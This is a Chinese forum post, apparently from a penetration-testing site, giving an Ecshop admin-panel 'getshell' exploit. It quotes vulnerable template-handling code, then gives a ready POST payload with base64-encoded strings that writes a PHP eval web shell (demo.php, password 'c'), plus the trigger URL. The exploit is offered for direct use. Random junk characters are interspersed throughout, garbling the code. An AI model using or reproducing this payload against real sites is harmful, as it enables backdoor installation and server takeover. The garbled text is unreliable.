中国网络渗透测试联盟

标题: Ecshop后台getshell [打印本页]

作者: admin    时间: 2013-1-11 21:33
标题: Ecshop后台getshell
首先 ecshop用的是smarty 这样就可以通过它的fetch函数来执行模板
- Q' z: N2 Z& Z* E9 Q$ o, V* O: x! S
而模板里面可以执行他定义的php代码,这样只要可以写出模板 然后找到调用就可以拿到shell了& Z2 L7 ]/ W! }( k. V( f! d; p
但是ecshop似乎不支持{php}{/php}这个标签来执行php代码3 ~2 H2 G1 e5 f' {1 x! B6 }
admin/template.php
9 @1 A' t$ ?5 T) U3 q& [' N! F/ Q3 i; b( C' F4 d- ^5 \9 a7 n
1 if ($_REQUEST['act'] == 'update_library') ' V/ J% }% T* w  ^/ S7 ]' K
% \3 [, \5 [- X. x) u) b
2   
3 u0 ~/ T, S* |) ~/ ^& C% T: L+ l, n3 p$ N3 r0 x
3 { ! _# s3 K' h( x% ~$ t0 B3 D# Y

! K" c3 E" n4 ~  x( J: H8 ]# P4     check_authz_json('library_manage'); ' L' _. |4 J1 Y8 c

2 ^9 V& A" w( s/ Z6 t5     b3 n& R) R# u& s+ ^7 y% R+ I( H, f

! j5 }; O  o+ o; D& z) n3 u6     $html = stripslashes(json_str_iconv($_POST['html'])); 4 u. [& b) R5 f$ w% i6 p

! O3 k( O1 g( o3 [! t+ z% z. X7 \7 x7   0 k& f" C- ]0 S$ H( R% W
  f4 ?$ y  a. G* d2 T( Z" B
8     $lib_file = '../themes/' . $_CFG['template'] . '/library/' .$_POST['lib'] . '.lbi'; //模板文件   N( f, r9 B; {# Q
/ v* K1 u& J# \" v# b
9   6 A1 `9 z0 ?6 o8 c# q

0 Y& ~( D. l' Q1 f8 Y3 Q10     $lib_file = str_replace("0xa", '', $lib_file); // 过滤 0xa 非法字符
- k3 n1 w9 V& _! u+ a9 y& p" B) T. s, M% N% K0 z; U
11   
& ~- v: J/ X5 {4 \$ f8 V" A2 [0 c
# j2 r0 c9 T( u12     $org_html = str_replace("\xEF\xBB\xBF", '',file_get_contents($lib_file)); 8 y7 c3 v6 |* r8 W3 W: C# H

6 ]* a) {4 G9 w, f! s! ^; N# Z1 R% o13   
( v& J) q" L# |$ G- h
2 a: Q, H: T# ?! F. Y1 b14     if (@file_exists($lib_file) === true && @file_put_contents($lib_file,$html))//写出 ) N4 A! q4 H$ `. k+ K

/ {; s8 i0 y- J' ?2 s15     {
9 d/ X% t2 c. A3 `2 j5 A8 f, w$ ?$ P. e& R) w' w; k" h
16         @file_put_contents('../temp/backup/library/' . $_CFG['template'] .'-' . $_POST['lib'] . '.lbi', $org_html);
. k3 n5 n- ]. c9 E! o; V" {  a5 R3 m4 d9 v
17         make_json_result('', $_LANG['update_lib_success']); : t; R4 X: O+ c  T

% t+ c. k: V2 H% A5 ?( }8 Z% q6 }& v8 B18     } , s5 g, l9 g: n& z; p

  k. U- V1 K7 f  n0 @19     else ( }7 ?1 p% b& Y. ?; a/ p
; V  n2 Z2 j# o! M3 F" K6 b
20     {
0 s7 y7 K* [/ _) S: d7 U" O6 x$ Z: B  i9 Y( t) z
21         make_json_error(sprintf($_LANG['update_lib_failed'], 'themes/' .$_CFG['template'] . '/library')); 7 r% z& p1 P. I9 @+ o

2 B  j. I% `7 a, V- \$ q22     }
0 ~) N( m/ ]8 a% z, ?# G
0 i9 x+ J- k% `/ t" c( D3 y" a% y23 }
4 q) j8 A) M& W2 c/ J3 m; t3 @6 @0 H  p: Y. o: e& f, t
那么找个比较方便调用了模板的文件
& e. B  C) M9 u' f. g- R' U8 i- C9 ?3 hindex.php
6 y1 v" l" N/ l& _6 o/ P' M  N% b; b+ F" r1 ^" s
1 if ($act == 'cat_rec')
& {; U6 U# j$ u+ c/ Z
- P3 \' X8 ?  P+ x$ d+ i+ }2   
" j3 b$ T. s  A0 z8 }9 @& m! W
: }2 y" v. F2 j$ T3 { 9 Y1 I- ~4 s/ A; \

8 k  i. V+ L0 ]) Y4   
' U$ k% t9 l9 X) K$ W: `3 h9 Y! i0 Q& q
5     $rec_array = array(1 => 'best', 2 => 'new', 3 => 'hot'); / H  ?6 k. {/ z# }' [8 M9 Q

( E5 D1 }3 t0 [6   ) n; g# _3 E  ?# s( C+ U  i

6 v# ^) c% u1 E1 s, I+ |( M( I7     $rec_type = !empty($_REQUEST['rec_type']) ?intval($_REQUEST['rec_type']) : '1'; , t( K1 i1 A% E/ t0 y
" [/ y  s- M4 C, _/ x
8   
# k! k0 E7 _4 D5 |
1 `6 e" o5 M8 w" w: c9     $cat_id = !empty($_REQUEST['cid']) ? intval($_REQUEST['cid']) : '0'; ! |* R- U) w8 k* \' a* m1 k
. P5 n! q0 K; ]' l$ v1 l
10   * I1 W4 o1 i7 C! J% F
' q' T8 ~& \# w% {: p4 b
11     include_once('includes/cls_json.php'); + S' k) P! P3 Y& o0 @  r, M
' s7 S5 [" f- w6 O) c' k" V- V' O
12   8 b9 F; K+ m% X/ ?7 g

5 o. b6 G" r* i1 `13     $json = new JSON; * {9 o6 H6 U# _  z" e  ]
; ~4 z* I% m, P; g9 B5 `6 P
14   
, N# C+ N% r% D- Q' L  H( k* ?# [3 y) G
15     $result   = array('error' => 0, 'content' => '', 'type' => $rec_type,'cat_id' => $cat_id);
3 I  G7 ~+ P! q% M- X+ {4 x6 x7 G% m
16   # E& Q2 U& V$ d5 z/ [( [1 H

4 V9 R- Z2 }* Q17     $children = get_children($cat_id); $ D1 ?- ^5 \- z
" a6 P4 m6 j1 ^/ [* `
18   * k; I, B6 b- h; w! n2 J! @
4 U. P7 s3 g% x; I7 F
19     $smarty->assign($rec_array[$rec_type] . '_goods',      get_category_recommend_goods($rec_array[$rec_type], $children));    // 推荐商品 - Q3 C4 G$ R9 t' `

" Q& ]! |. P' u20   
, R; ~5 z/ j' \4 `( h+ O" u: I- y3 r( E! t& k& }
21     $smarty->assign('cat_rec_sign', 1); ! `/ G- a3 e7 |8 t
* ]# R$ k, l. h3 ~- n; ~
22   - N# K( m' m2 ?1 K; y5 _; B
. d( Q, e" n5 J: B
23     $result['content'] = $smarty->fetch('library/recommend_' .$rec_array[$rec_type] . '.lbi');//使用了模板文件 该模板文件为recommend_best
9 Z. f( q/ G. e
% z' @4 Y* d( U0 T5 M; E24   ) m0 t% _0 j6 ~

) a( r1 H' H1 z8 [9 c7 }# T4 P25         echo 'library/recommend_' . $rec_array[$rec_type] . '.lbi'; ( i; B7 N: m8 u/ f

7 u7 L  w+ h+ {26   
' g+ ^* M3 o$ m7 o) b' W
' C& _' l2 n' z3 f! t0 F27         echo $rec_array[$rec_type]; 3 _5 T9 `  u" z4 y2 x. `  B* o

) ]( G0 t' v0 {6 S8 k* ^28   
; A; j- t/ J! j' J' W6 u) P. t% M6 ]; o2 r1 i
# }+ A, L; C9 t( B5 Q# }' N7 y6 g29     die($json->encode($result)); , o. b! _1 {6 S" Q$ d) ~5 e

( Y- G. t9 L' B2 e8 E7 T30   
  T( n' K1 {# z! n/ y1 x+ w6 P' h4 V. m" V3 z$ w, m# g  I3 y
31 } : V; ?' v0 ^3 @7 c1 X) ~
) \& E/ n  |3 [
那么就有利用方法了
; ~' @, k0 a( l) Npost包到http://localhost/ec/admin/template.php?act=update_library
, i* l4 Y/ I9 o. T. T8 Y& rPost内容:
1 Q! |# y1 V9 R- S- z& C' g
6 W( b) Z0 o8 n# ~​; v& J+ I9 `2 W& ?( A
1 lib=recommend_best&html={iffputs(fopen(base64_decode(ZGVtby5waHA),w),base64_decode(PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz5vaw))}16086{/if}
3 N9 y: }5 m" [- B# a; y9 l/ S  S0 |, x2 M) i1 E9 b, r5 p
然后访问http://localhost/ec/index.php?act=cat_rec& S* P3 c3 e  {2 ~* Z1 e  K
( z* m$ P' }# q) E
shel地址:http://localhost/ec/demo.php
7 M; ~* P: K1 K; S密码c' e4 n9 \2 M! B9 p
( r4 d, I2 |5 k% V0 q" ^* s





欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/) Powered by Discuz! X3.2